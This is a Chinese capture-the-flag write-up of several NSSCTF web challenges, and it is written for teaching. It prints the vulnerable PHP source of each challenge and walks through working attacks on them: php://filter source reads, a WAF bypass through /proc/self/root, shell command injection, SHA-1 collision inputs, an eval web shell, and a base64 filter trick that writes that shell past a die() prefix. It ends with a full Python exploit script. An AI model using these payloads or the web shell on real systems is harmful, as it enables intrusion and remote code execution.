NSSCTF-round8&&round7部分题目复现
[NSSRound#8 Basic]MyDoor
伪协议读取源码
可以得到源码
<?php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
可以看到N_S.S可以去执行eval操作
但是在测试phpinfo是没有响应
猜测应该是某些字符被禁止了
测试发现是_被过滤了,这里可以使用[替换
执行命令
接下来
就是找flag了
[NSSRound#8 Basic]MyPage
这里同样去执行伪协议去读取源码,发现并没有响应
猜测是对一些字符进行了过滤,导致不能够执行成功
这里使用脏数据绕过waf
脏数据(也称为恶意输入)可以绕过 WAF 的原因是因为 WAF 的规则和过滤器只能识别特定的攻击模式,例如 SQL 注入、跨站脚本攻击等。但是,攻击者可以使用各种技术和工具来欺骗 WAF,使其无法检测或防止特定的恶意输入。
例如,攻击者可以使用编码和加密技术来对恶意请求进行混淆,以使其不被 WAF 检测到。攻击者还可以使用分割请求、预处理攻击载荷等技术,来绕过 WAF 的检测,以便让恶意请求顺利地通过 WAF,并到达 Web 应用程序。
构造payload:
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
得到源码
<?php
error_reporting(0);
if(isset($_GET['file'])){
header('Location:/' . $_GET['file']);
} else {
$file = $_GET['file'];
if (preg_match('/\.php|\.dll|glob|global|finfo|http|localhost|file|hash|location|include|exec|getopt|file|http|localhost|.*\%7C.*\%29.*|zip|7z|compress|is|', $file)) {
include_once 'error';
} else {
die('error');
}
}
?>
可以看到对file传入的参数进行了检查,导致伪协议不能够正常去执行
读取flag.php文件
构造payload:
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
[NSSRound#7 Team]ec_RCE
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
这里什么都没有过滤,那么可以直接拼接执行命令就行了
paylaod:
action=;ls /
获取flag
[NSSRound#7 Team]0o0
进行扫描文件
发现.DS_store文件
打开后发现一个php文件
访问进行代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';
if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!
代码审计
第一个if
if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
sha1的强类型比较
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1)))
要求变量不是数字,后面检查是否在数组里面,但是数组里面只要1,构造NsScTF=1+就行
if (file_get_contents($NsScTf) === "Welcome to Round7!!!")
data伪协议,构造payload:
payload:&NsScTf=data://text/plain,Welcome to Round7!!!
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
这是_是特殊字符,不能直接输入,可以使用[替换
下面要求传入的变量值不等于114514,但是在经过intval函数处理后要等于114514,利用科学计数法绕过
构造NSScTf=114514e1
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
构造payload:
&nSScTF=1&nSscTF=NSSRound7
最终payload:
http://43.142.108.3:28142/Ns_SCtF.php?NSSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&NsSCTF=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&NsScTF=1+&NsScTf=data://text/plain,Welcome to Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7
POST:submit=1
上面的比较简单的,下面的是题目的考点和核心
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
这是实现了一个文件上传
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
这里对文件名进行了一个匹配,要求要匹配到png
这里可以使用双后缀进行绕过,构造文件名为1.png.php
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
但是这里出现了一个die函数,导致我们文件无法成功上传,直接被die掉了
这里和死亡exit比较相似
可以利用相似的方法进行绕过,进行编码,在解码时将死亡代码给解码成乱码,使其无法其作用。
<?php @eval($_POST['attack']);?>
base编码·:
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
<?php die("Round7 do you like");aaaPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+?>
这里要补三个字母,因为php解码时是四个byte一组
可以看到解码后就只剩下我们写入的shell代码,死亡die已经被解码掉了
但是怎么样才能让他进行解码呢,这里我们可以使用php为协议进行解码
php://filter/convert.base64-decode/resource=1.png.php
这里可以参考p神的文章
谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)
这里粘贴一个其他师傅的脚本:
import requests
from base64 import b64encode
import re
def get_flag(URL):
url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
data = {'submit':1}
payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) #修改为自己想要执行的命令
payload = re.findall(r"b'(.*?)'",payload)[0]
file1 = {'file': ('1.png.php', f"aaa{payload}")}
file2 = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70', f"aaa{payload}")}
requests.post(url,data=data,files=file1)
requests.post(url,files=file2,data=data)
nssctf_text3 = requests.post(f'{URL}/1.png.php').text
print(nssctf_text3)
if __name__ == "__main__":
get_flag("http://43.143.7.127:28479")